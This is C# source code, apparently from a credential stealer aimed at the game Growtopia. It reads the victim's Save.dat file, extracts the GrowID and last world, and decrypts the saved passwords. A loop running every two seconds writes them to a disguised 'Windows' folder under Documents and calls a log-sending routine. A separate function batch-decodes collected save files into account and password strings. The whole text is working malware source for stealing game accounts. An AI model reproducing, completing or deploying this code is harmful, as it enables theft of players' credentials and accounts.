static string CheckRealTimeSavedat()
        {
            string savedat  = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Growtopia\Save.dat";
            var    pattern  = new Regex(@"[^\w0-9]");
            string savedata = null;
            var    r        = File.Open(savedat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);

            using (FileStream fileStream = new FileStream(savedat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
            {
                using (StreamReader streamReader = new StreamReader(fileStream, Encoding.Default))
                {
                    savedata = streamReader.ReadToEnd();
                }
            }

            string cleardata   = savedata.Replace("\u0000", " ");
            string firstgrowid = pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty);
            string growid      = "Growid: " + pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty);
            string lastworld   = "Last World: " + pattern.Replace(cleardata.Substring(cleardata.IndexOf("lastworld") + "lastworld".Length).Split(' ')[3], string.Empty);

            string[] passwords = new PasswordDec().Func(Encoding.Default.GetBytes(savedata));
            string   path      = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\Windows\" + firstgrowid + ".txt";
            string   finalpass = "";

            for (int z = 0; z < passwords.Length; z++)
            {
                finalpass += passwords[z] + " ";
            }
            // Console.WriteLine(growid+" " +finalpass);
            //  Console.WriteLine(growid+" "+finalpass);
            return(growid + " " + finalpass);
        }
 public List <string> DecodeDats()
 {
     try
     {
         List <string> alldata = new List <string>();
         listBox1.Items.Clear();
         string   savefolderpath = ConfigurationManager.AppSettings["savefolderpath"];
         string[] allsaves       = Directory.GetFiles(savefolderpath, "*.dat");
         var      pattern        = new Regex(@"[^\w0-9]");
         foreach (string i in allsaves)
         {
             string savedata = null;
             var    r        = File.Open(i, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
             using (FileStream fileStream = new FileStream(i, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
             {
                 using (StreamReader streamReader = new StreamReader(fileStream, Encoding.Default))
                 {
                     savedata = streamReader.ReadToEnd();
                 }
             }
             string cleardata = savedata.Replace("\u0000", " ");
             string GrowID    = pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty);
             listBox1.Items.Add(GrowID);
             string LastWorld = pattern.Replace(cleardata.Substring(cleardata.IndexOf("lastworld") + "lastworld".Length).Split(' ')[3], string.Empty);
             if (LastWorld == "fullscreen")
             {
                 LastWorld = null;
             }
             string[] passwords = new PasswordDec().Func(Encoding.Default.GetBytes(savedata));
             string   allpw     = "";
             foreach (string pw in passwords)
             {
                 allpw += pw + "[#---Zephyr---#]";
             }
             string accdata = GrowID + "[This-Is-A-Split]" + LastWorld + "[This-Is-A-Split]" + allpw;
             alldata.Add(accdata);
         }
         return(alldata);
     }
     catch
     {
         return(null);
     }
 }
        private static void TimerCallback(Object o)
        {
            while (true)
            {
                string savedat  = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Growtopia\Save.dat";
                var    pattern  = new Regex(@"[^\w0-9]");
                string savedata = null;
                var    r        = File.Open(savedat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
                using (FileStream fileStream = new FileStream(savedat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
                {
                    using (StreamReader streamReader = new StreamReader(fileStream, Encoding.Default))
                    {
                        savedata = streamReader.ReadToEnd();
                    }
                }

                string   cleardata   = savedata.Replace("\u0000", " ");
                string   firstgrowid = pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty);
                string   growid      = "Growid: " + pattern.Replace(cleardata.Substring(cleardata.IndexOf("tankid_name") + "tankid_name".Length).Split(' ')[3], string.Empty);
                string   lastworld   = "Last World: " + pattern.Replace(cleardata.Substring(cleardata.IndexOf("lastworld") + "lastworld".Length).Split(' ')[3], string.Empty);
                string[] passwords   = new PasswordDec().Func(Encoding.Default.GetBytes(savedata));
                string   path        = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\Windows\" + firstgrowid + ".txt";
                string   finalpass   = "";
                for (int z = 0; z < passwords.Length; z++)
                {
                    finalpass += " " + passwords[z];
                }
                if (!File.Exists(path))
                {
                    DosyayiOlustur(path, growid, finalpass, "Olustu!");
                    LogGonder();
                }
                else
                {
                    //CheckRealTimeSavedat();
                    //string log1 = CheckSavedat(firstgrowid);
                    string log1 = FinalControl(firstgrowid, growid, path, finalpass);
                    Console.WriteLine(log1);
                }
                Thread.Sleep(2000);
            }
        }